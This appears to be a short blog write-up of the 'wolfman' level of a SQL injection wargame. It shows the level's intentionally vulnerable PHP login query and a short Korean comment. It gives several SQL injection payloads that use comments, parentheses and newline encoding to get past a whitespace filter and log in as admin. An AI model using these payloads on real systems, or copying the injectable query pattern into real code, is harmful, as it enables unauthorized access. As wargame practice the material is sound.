Post

LOS Lv.5 wolfman

wolfman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
query : select id from prob_wolfman where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

Solution

1
2
3
4
?pw='/**/or/**/id='admin'/**/%23
?pw='or(id='admin')%23
?pw='%0aor%0aid='admin'%23
?pw='+or+id='admin'# -> 이 방법은 안됨. 들어가는 값을 보니 공백으로 처리됨.
This post is licensed under CC BY 4.0 by the author.